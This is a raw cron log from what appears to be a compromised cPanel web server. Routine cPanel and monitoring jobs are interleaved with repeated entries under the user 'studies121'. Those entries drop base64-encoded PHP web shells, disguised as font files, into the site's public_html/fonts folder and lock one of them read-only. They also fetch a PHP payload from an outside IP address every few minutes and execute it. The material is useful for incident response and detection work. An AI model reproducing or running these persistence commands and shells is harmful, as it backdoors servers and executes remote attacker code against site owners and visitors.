Sep  8 22:31:01 ip-184-168-122-23 CROND[1741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:32:01 ip-184-168-122-23 CROND[1921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:32:01 ip-184-168-122-23 CROND[1923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:32:01 ip-184-168-122-23 CROND[1925]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:32:01 ip-184-168-122-23 CROND[1924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:32:01 ip-184-168-122-23 CROND[1926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:33:01 ip-184-168-122-23 CROND[2004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:33:01 ip-184-168-122-23 CROND[2006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:33:01 ip-184-168-122-23 CROND[2007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:33:01 ip-184-168-122-23 CROND[2008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:34:01 ip-184-168-122-23 CROND[2080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:34:01 ip-184-168-122-23 CROND[2082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:34:01 ip-184-168-122-23 CROND[2085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:34:01 ip-184-168-122-23 CROND[2084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:34:01 ip-184-168-122-23 CROND[2083]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:35:01 ip-184-168-122-23 CROND[2175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:35:01 ip-184-168-122-23 CROND[2177]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 22:35:01 ip-184-168-122-23 CROND[2176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:35:01 ip-184-168-122-23 CROND[2178]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 22:35:01 ip-184-168-122-23 CROND[2185]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:35:01 ip-184-168-122-23 CROND[2183]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:35:01 ip-184-168-122-23 CROND[2179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:35:01 ip-184-168-122-23 CROND[2182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:36:01 ip-184-168-122-23 CROND[2274]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:36:01 ip-184-168-122-23 CROND[2277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:36:01 ip-184-168-122-23 CROND[2279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:36:01 ip-184-168-122-23 CROND[2281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:36:01 ip-184-168-122-23 CROND[2283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:37:01 ip-184-168-122-23 CROND[2378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:37:01 ip-184-168-122-23 CROND[2381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:37:01 ip-184-168-122-23 CROND[2382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:37:01 ip-184-168-122-23 CROND[2380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:38:01 ip-184-168-122-23 CROND[2540]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:38:01 ip-184-168-122-23 CROND[2542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:38:01 ip-184-168-122-23 CROND[2543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:38:01 ip-184-168-122-23 CROND[2544]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:38:01 ip-184-168-122-23 CROND[2545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:39:01 ip-184-168-122-23 CROND[2638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:39:01 ip-184-168-122-23 CROND[2639]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 22:39:01 ip-184-168-122-23 CROND[2641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:39:01 ip-184-168-122-23 CROND[2640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:39:01 ip-184-168-122-23 CROND[2643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:40:01 ip-184-168-122-23 CROND[2734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:40:01 ip-184-168-122-23 CROND[2736]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 22:40:01 ip-184-168-122-23 CROND[2737]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:40:01 ip-184-168-122-23 CROND[2738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:40:01 ip-184-168-122-23 CROND[2741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:40:01 ip-184-168-122-23 CROND[2740]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:40:01 ip-184-168-122-23 CROND[2748]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:40:01 ip-184-168-122-23 CROND[2750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:41:01 ip-184-168-122-23 CROND[2829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:41:01 ip-184-168-122-23 CROND[2831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:41:01 ip-184-168-122-23 CROND[2834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:41:01 ip-184-168-122-23 CROND[2835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:42:01 ip-184-168-122-23 CROND[2913]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:42:01 ip-184-168-122-23 CROND[2915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:42:01 ip-184-168-122-23 CROND[2916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:42:01 ip-184-168-122-23 CROND[2918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:42:01 ip-184-168-122-23 CROND[2920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:43:01 ip-184-168-122-23 CROND[3006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:43:01 ip-184-168-122-23 CROND[3008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:43:01 ip-184-168-122-23 CROND[3009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:43:01 ip-184-168-122-23 CROND[3010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
